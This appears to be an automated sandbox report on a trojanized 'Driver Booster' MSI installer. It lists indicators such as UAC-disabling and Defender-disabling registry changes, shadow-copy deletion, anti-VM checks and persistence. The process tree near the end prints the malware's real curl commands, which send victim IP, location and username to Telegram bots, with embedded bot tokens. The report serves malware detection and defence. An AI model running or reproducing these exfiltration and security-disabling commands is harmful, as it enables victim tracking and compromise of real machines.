552c789cf68b88af18cf75ace35963445e3f7625cb07ae6b3933ceef26032f18

Analysis

max time kernel
73s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
20-02-2023 11:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Driver_Booster_19_02_23_to_msi.msi
Size

7.2MB
MD5

5ad74e66323ae26320cd9c051f266a4f
SHA1

d7f999814e7c76466dba21619defc955d2660f20
SHA256

552c789cf68b88af18cf75ace35963445e3f7625cb07ae6b3933ceef26032f18
SHA512

019d370fe90818e1e5650496bbe3b187f0cb933e18b7644120ee25065974c108633bdab28db09bff879240d30de5a845572f4d1eb81ce92b469acc6ffa3f49a3
SSDEEP

196608:fYSxCsde/fxOql6socvDWnwlIzAY7kRSb6PdnjR:pxCz3xOHcRiERj

Score

10^/10

discovery evasion exploit ransomware themida trojan

Malware Config

Signatures

Modifies Windows Defender notification settings 3 TTPs 3 IoCs

evasion trojan

Modify Existing Service

T1031

Modify Registry

T1112

Disabling Security Tools

T1089

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\windows defender security center\notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\windows defender security center\notifications\disableenhancednotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\software\microsoft\windows defender security center\notifications	reg.exe

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioruser = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	reg.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

drvboost.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ drvboost.exe
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490
Possible privilege escalation attempt 7 IoCs
exploit

Processes:

icacls.exeicacls.exeICACLS.EXEtakeown.exeicacls.exeicacls.exeICACLS.EXE

pid process

3584 icacls.exe
8 icacls.exe
4752 ICACLS.EXE
4368 takeown.exe
3376 icacls.exe
4772 icacls.exe
1576 ICACLS.EXE
Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

4020 attrib.exe
812 attrib.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	drvboost.exe

pid	process
3584	icacls.exe
8	icacls.exe
4752	ICACLS.EXE
4368	takeown.exe
3376	icacls.exe
4772	icacls.exe
1576	ICACLS.EXE

pid	process
4020	attrib.exe
812	attrib.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

drvboost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	drvboost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	drvboost.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Driver_Booster_19_02_23_to_msi.tmpWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	Driver_Booster_19_02_23_to_msi.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

Processes:

Driver_Booster_19_02_23_to_msi.tmp

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IObit.lnk	Driver_Booster_19_02_23_to_msi.tmp

Executes dropped EXE 5 IoCs

Processes:

Driver_Booster_19_02_23_to_msi.exeDriver_Booster_19_02_23_to_msi.tmpDriver_Booster_19_02_23_to_msi.exeDriver_Booster_19_02_23_to_msi.tmpdrvboost.exe

pid	process
1756	Driver_Booster_19_02_23_to_msi.exe
3172	Driver_Booster_19_02_23_to_msi.tmp
5064	Driver_Booster_19_02_23_to_msi.exe
2176	Driver_Booster_19_02_23_to_msi.tmp
4660	drvboost.exe

Loads dropped DLL 3 IoCs

Processes:

MsiExec.exerundll32.exerundll32.exe

pid process

2492 MsiExec.exe
3528 rundll32.exe
5028 rundll32.exe
Modifies file permissions 1 TTPs 7 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

ICACLS.EXEtakeown.exeicacls.exeicacls.exeICACLS.EXEicacls.exeicacls.exe

pid process

4752 ICACLS.EXE
4368 takeown.exe
3376 icacls.exe
4772 icacls.exe
1576 ICACLS.EXE
3584 icacls.exe
8 icacls.exe

pid	process
2492	MsiExec.exe
3528	rundll32.exe
5028	rundll32.exe

pid	process
4752	ICACLS.EXE
4368	takeown.exe
3376	icacls.exe
4772	icacls.exe
1576	ICACLS.EXE
3584	icacls.exe
8	icacls.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\tmp\drvboost.exe	themida
C:\tmp\drvboost.exe	themida
behavioral2/memory/4660-221-0x0000000000400000-0x0000000000ABE000-memory.dmp	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

drvboost.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA drvboost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	drvboost.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

39 ipINFO.io
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

rundll32.exedrvboost.exe

pid process

5028 rundll32.exe
4660 drvboost.exe

flow	ioc
39	ipINFO.io

pid	process
5028	rundll32.exe
4660	drvboost.exe

Drops file in Windows directory 9 IoCs

Processes:

msiexec.exeEXPAND.EXE

description	ioc	process
File created	C:\Windows\Installer\e573f2c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e573f2c.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{52F0403C-BD33-4C3F-8787-CB1F62C3F517}	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI413F.tmp	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssvc.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000045e03923b2b2bc3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000045e039230000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3f000000ffffffff00000000070001000068090045e03923000000000000d0120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000045e0392300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000045e0392300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1764 schtasks.exe

pid	process
1764	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

SearchApp.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	SearchApp.exe

Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

3224 vssadmin.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

4036 taskkill.exe
4304 taskkill.exe

pid	process
3224	vssadmin.exe

pid	process
4036	taskkill.exe
4304	taskkill.exe

Modifies registry class 2 IoCs

Processes:

SearchApp.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\MuiCache	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik	SearchApp.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

msiexec.exeDriver_Booster_19_02_23_to_msi.tmp

pid process

3920 msiexec.exe
3920 msiexec.exe
2176 Driver_Booster_19_02_23_to_msi.tmp
2176 Driver_Booster_19_02_23_to_msi.tmp

pid	process
3920	msiexec.exe
3920	msiexec.exe
2176	Driver_Booster_19_02_23_to_msi.tmp
2176	Driver_Booster_19_02_23_to_msi.tmp

Suspicious use of AdjustPrivilegeToken 52 IoCs

Processes:

msiexec.exemsiexec.exevssvc.exesrtasks.exetaskkill.exetakeown.exetaskkill.exe

description	pid	process
Token: SeShutdownPrivilege	3796	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3796	msiexec.exe
Token: SeSecurityPrivilege	3920	msiexec.exe
Token: SeCreateTokenPrivilege	3796	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3796	msiexec.exe
Token: SeLockMemoryPrivilege	3796	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3796	msiexec.exe
Token: SeMachineAccountPrivilege	3796	msiexec.exe
Token: SeTcbPrivilege	3796	msiexec.exe
Token: SeSecurityPrivilege	3796	msiexec.exe
Token: SeTakeOwnershipPrivilege	3796	msiexec.exe
Token: SeLoadDriverPrivilege	3796	msiexec.exe
Token: SeSystemProfilePrivilege	3796	msiexec.exe
Token: SeSystemtimePrivilege	3796	msiexec.exe
Token: SeProfSingleProcessPrivilege	3796	msiexec.exe
Token: SeIncBasePriorityPrivilege	3796	msiexec.exe
Token: SeCreatePagefilePrivilege	3796	msiexec.exe
Token: SeCreatePermanentPrivilege	3796	msiexec.exe
Token: SeBackupPrivilege	3796	msiexec.exe
Token: SeRestorePrivilege	3796	msiexec.exe
Token: SeShutdownPrivilege	3796	msiexec.exe
Token: SeDebugPrivilege	3796	msiexec.exe
Token: SeAuditPrivilege	3796	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3796	msiexec.exe
Token: SeChangeNotifyPrivilege	3796	msiexec.exe
Token: SeRemoteShutdownPrivilege	3796	msiexec.exe
Token: SeUndockPrivilege	3796	msiexec.exe
Token: SeSyncAgentPrivilege	3796	msiexec.exe
Token: SeEnableDelegationPrivilege	3796	msiexec.exe
Token: SeManageVolumePrivilege	3796	msiexec.exe
Token: SeImpersonatePrivilege	3796	msiexec.exe
Token: SeCreateGlobalPrivilege	3796	msiexec.exe
Token: SeBackupPrivilege	1084	vssvc.exe
Token: SeRestorePrivilege	1084	vssvc.exe
Token: SeAuditPrivilege	1084	vssvc.exe
Token: SeBackupPrivilege	3920	msiexec.exe
Token: SeRestorePrivilege	3920	msiexec.exe
Token: SeRestorePrivilege	3920	msiexec.exe
Token: SeTakeOwnershipPrivilege	3920	msiexec.exe
Token: SeRestorePrivilege	3920	msiexec.exe
Token: SeTakeOwnershipPrivilege	3920	msiexec.exe
Token: SeBackupPrivilege	3904	srtasks.exe
Token: SeRestorePrivilege	3904	srtasks.exe
Token: SeSecurityPrivilege	3904	srtasks.exe
Token: SeTakeOwnershipPrivilege	3904	srtasks.exe
Token: SeBackupPrivilege	3904	srtasks.exe
Token: SeRestorePrivilege	3904	srtasks.exe
Token: SeSecurityPrivilege	3904	srtasks.exe
Token: SeTakeOwnershipPrivilege	3904	srtasks.exe
Token: SeDebugPrivilege	4036	taskkill.exe
Token: SeTakeOwnershipPrivilege	4368	takeown.exe
Token: SeDebugPrivilege	4304	taskkill.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

msiexec.exeDriver_Booster_19_02_23_to_msi.tmp

pid process

3796 msiexec.exe
2176 Driver_Booster_19_02_23_to_msi.tmp
3796 msiexec.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

SearchApp.exe

pid process

3804 SearchApp.exe

pid	process
3796	msiexec.exe
2176	Driver_Booster_19_02_23_to_msi.tmp
3796	msiexec.exe

pid	process
3804	SearchApp.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msiexec.exeMsiExec.exeDriver_Booster_19_02_23_to_msi.exeDriver_Booster_19_02_23_to_msi.tmpcmd.exeDriver_Booster_19_02_23_to_msi.exeDriver_Booster_19_02_23_to_msi.tmprundll32.exeWScript.execmd.exereg.execmd.execmd.exe

description	pid	process	target process
PID 3920 wrote to memory of 3904	3920	msiexec.exe	srtasks.exe
PID 3920 wrote to memory of 3904	3920	msiexec.exe	srtasks.exe
PID 3920 wrote to memory of 2492	3920	msiexec.exe	MsiExec.exe
PID 3920 wrote to memory of 2492	3920	msiexec.exe	MsiExec.exe
PID 3920 wrote to memory of 2492	3920	msiexec.exe	MsiExec.exe
PID 2492 wrote to memory of 4752	2492	MsiExec.exe	ICACLS.EXE
PID 2492 wrote to memory of 4752	2492	MsiExec.exe	ICACLS.EXE
PID 2492 wrote to memory of 4752	2492	MsiExec.exe	ICACLS.EXE
PID 2492 wrote to memory of 1072	2492	MsiExec.exe	EXPAND.EXE
PID 2492 wrote to memory of 1072	2492	MsiExec.exe	EXPAND.EXE
PID 2492 wrote to memory of 1072	2492	MsiExec.exe	EXPAND.EXE
PID 2492 wrote to memory of 1756	2492	MsiExec.exe	Driver_Booster_19_02_23_to_msi.exe
PID 2492 wrote to memory of 1756	2492	MsiExec.exe	Driver_Booster_19_02_23_to_msi.exe
PID 2492 wrote to memory of 1756	2492	MsiExec.exe	Driver_Booster_19_02_23_to_msi.exe
PID 1756 wrote to memory of 3172	1756	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 1756 wrote to memory of 3172	1756	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 1756 wrote to memory of 3172	1756	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 3172 wrote to memory of 3432	3172	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe
PID 3172 wrote to memory of 3432	3172	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe
PID 3172 wrote to memory of 3432	3172	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe
PID 3172 wrote to memory of 5064	3172	Driver_Booster_19_02_23_to_msi.tmp	Driver_Booster_19_02_23_to_msi.exe
PID 3172 wrote to memory of 5064	3172	Driver_Booster_19_02_23_to_msi.tmp	Driver_Booster_19_02_23_to_msi.exe
PID 3172 wrote to memory of 5064	3172	Driver_Booster_19_02_23_to_msi.tmp	Driver_Booster_19_02_23_to_msi.exe
PID 3432 wrote to memory of 4036	3432	cmd.exe	taskkill.exe
PID 3432 wrote to memory of 4036	3432	cmd.exe	taskkill.exe
PID 3432 wrote to memory of 4036	3432	cmd.exe	taskkill.exe
PID 5064 wrote to memory of 2176	5064	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 5064 wrote to memory of 2176	5064	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 5064 wrote to memory of 2176	5064	Driver_Booster_19_02_23_to_msi.exe	Driver_Booster_19_02_23_to_msi.tmp
PID 2176 wrote to memory of 3528	2176	Driver_Booster_19_02_23_to_msi.tmp	rundll32.exe
PID 2176 wrote to memory of 3528	2176	Driver_Booster_19_02_23_to_msi.tmp	rundll32.exe
PID 2176 wrote to memory of 3528	2176	Driver_Booster_19_02_23_to_msi.tmp	rundll32.exe
PID 3528 wrote to memory of 5028	3528	rundll32.exe	rundll32.exe
PID 3528 wrote to memory of 5028	3528	rundll32.exe	rundll32.exe
PID 2176 wrote to memory of 3836	2176	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe
PID 2176 wrote to memory of 3836	2176	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe
PID 2176 wrote to memory of 3836	2176	Driver_Booster_19_02_23_to_msi.tmp	cmd.exe
PID 484 wrote to memory of 4996	484	WScript.exe	cmd.exe
PID 484 wrote to memory of 4996	484	WScript.exe	cmd.exe
PID 3836 wrote to memory of 1868	3836	cmd.exe	reg.exe
PID 3836 wrote to memory of 1868	3836	cmd.exe	reg.exe
PID 3836 wrote to memory of 1868	3836	cmd.exe	reg.exe
PID 1868 wrote to memory of 2456	1868	reg.exe	curl.exe
PID 1868 wrote to memory of 2456	1868	reg.exe	curl.exe
PID 1868 wrote to memory of 2456	1868	reg.exe	curl.exe
PID 4996 wrote to memory of 2224	4996	cmd.exe	reg.exe
PID 4996 wrote to memory of 2224	4996	cmd.exe	reg.exe
PID 4996 wrote to memory of 2208	4996	cmd.exe	reg.exe
PID 4996 wrote to memory of 2208	4996	cmd.exe	reg.exe
PID 3836 wrote to memory of 2400	3836	cmd.exe	cmd.exe
PID 3836 wrote to memory of 2400	3836	cmd.exe	cmd.exe
PID 3836 wrote to memory of 2400	3836	cmd.exe	cmd.exe
PID 4996 wrote to memory of 2184	4996	cmd.exe	reg.exe
PID 4996 wrote to memory of 2184	4996	cmd.exe	reg.exe
PID 2400 wrote to memory of 3568	2400	cmd.exe	reg.exe
PID 2400 wrote to memory of 3568	2400	cmd.exe	reg.exe
PID 2400 wrote to memory of 3568	2400	cmd.exe	reg.exe
PID 4996 wrote to memory of 752	4996	cmd.exe	reg.exe
PID 4996 wrote to memory of 752	4996	cmd.exe	reg.exe
PID 4996 wrote to memory of 1468	4996	cmd.exe	reg.exe
PID 4996 wrote to memory of 1468	4996	cmd.exe	reg.exe
PID 4996 wrote to memory of 548	4996	cmd.exe	reg.exe
PID 4996 wrote to memory of 548	4996	cmd.exe	reg.exe
PID 4996 wrote to memory of 396	4996	cmd.exe	reg.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

4020 attrib.exe
812 attrib.exe

pid	process
4020	attrib.exe
812	attrib.exe

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Driver_Booster_19_02_23_to_msi.msi
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3796

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3920

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3904

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding D8FBBC90C9D2BE39589A3F03F108A77E
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2492

C:\Windows\SysWOW64\ICACLS.EXE
"C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-7a1bd6e7-e15e-492d-8b0c-4a86724eaeec\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4752

C:\Windows\SysWOW64\EXPAND.EXE
"C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
3⤵
- Drops file in Windows directory
PID:1072

C:\Users\Admin\AppData\Local\Temp\MW-7a1bd6e7-e15e-492d-8b0c-4a86724eaeec\files\Driver_Booster_19_02_23_to_msi.exe
"C:\Users\Admin\AppData\Local\Temp\MW-7a1bd6e7-e15e-492d-8b0c-4a86724eaeec\files\Driver_Booster_19_02_23_to_msi.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1756

C:\Users\Admin\AppData\Local\Temp\is-HH8RI.tmp\Driver_Booster_19_02_23_to_msi.tmp
"C:\Users\Admin\AppData\Local\Temp\is-HH8RI.tmp\Driver_Booster_19_02_23_to_msi.tmp" /SL5="$3011E,5822059,799232,C:\Users\Admin\AppData\Local\Temp\MW-7a1bd6e7-e15e-492d-8b0c-4a86724eaeec\files\Driver_Booster_19_02_23_to_msi.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3172

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\SysWOW64\cmd.exe" /c taskkill /f /im drvboost.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:3432

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im drvboost.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4036

C:\Users\Admin\AppData\Local\Temp\MW-7a1bd6e7-e15e-492d-8b0c-4a86724eaeec\files\Driver_Booster_19_02_23_to_msi.exe
"C:\Users\Admin\AppData\Local\Temp\MW-7a1bd6e7-e15e-492d-8b0c-4a86724eaeec\files\Driver_Booster_19_02_23_to_msi.exe" /verysilent /sp-
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5064

C:\Users\Admin\AppData\Local\Temp\is-TJGN0.tmp\Driver_Booster_19_02_23_to_msi.tmp
"C:\Users\Admin\AppData\Local\Temp\is-TJGN0.tmp\Driver_Booster_19_02_23_to_msi.tmp" /SL5="$4011E,5822059,799232,C:\Users\Admin\AppData\Local\Temp\MW-7a1bd6e7-e15e-492d-8b0c-4a86724eaeec\files\Driver_Booster_19_02_23_to_msi.exe" /verysilent /sp-
6⤵
- Drops startup file
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2176

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32" C:\tmp\drvboost.dll, Uaby
7⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3528

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32" C:\tmp\drvboost.dll, Uaby
8⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5028

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\g.cmd""
7⤵
- Suspicious use of WriteProcessMemory
PID:3836

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c cUrL -s ipINFO.io/Ip
8⤵
PID:1868

C:\Windows\SysWOW64\curl.exe
cUrL -s ipINFO.io/Ip
9⤵
PID:2456

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c cuRL -s IPINfo.Io/city
8⤵
- Suspicious use of WriteProcessMemory
PID:2400

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c cUrl -s IPiNfo.io/country
8⤵
PID:1072

C:\Windows\SysWOW64\curl.exe
cUrl -s IPiNfo.io/country
9⤵
PID:1376

C:\Windows\SysWOW64\curl.exe
curl -s -k -d chat_id=1245180339 --data-urlencode "text=Balu (19.02.23), File Name: "Driver_Booster_19_02_23_to_msi.exe", IP: 154.61.71.51, Country: NL, City: Aalsmeerderbrug, UserName: Admin, Date: Mon 02/20/2023, 11:42:57" "https://api.telegram.org/bot5515980699:AAGo4lkx8XZoryFf3EKLr1IDaFiBYJatoGM/sendmessage"
8⤵
PID:3220

C:\Windows\SysWOW64\curl.exe
curl -s -k -d chat_id=1476438440 --data-urlencode "text=Balu (19.02.23), File Name: "Driver_Booster_19_02_23_to_msi.exe", IP: 154.61.71.51, Country: NL, City: Aalsmeerderbrug, UserName: Admin, Date: Mon 02/20/2023, 11:42:57" "https://api.telegram.org/bot5705253590:AAFVFnRR0s9sfoSDjSj6MrjbXJ5e1ipXBUM/sendmessage"
8⤵
PID:1100

C:\Windows\SysWOW64\attrib.exe
AttrIb +s +H C:\tmp\a.cmD
8⤵
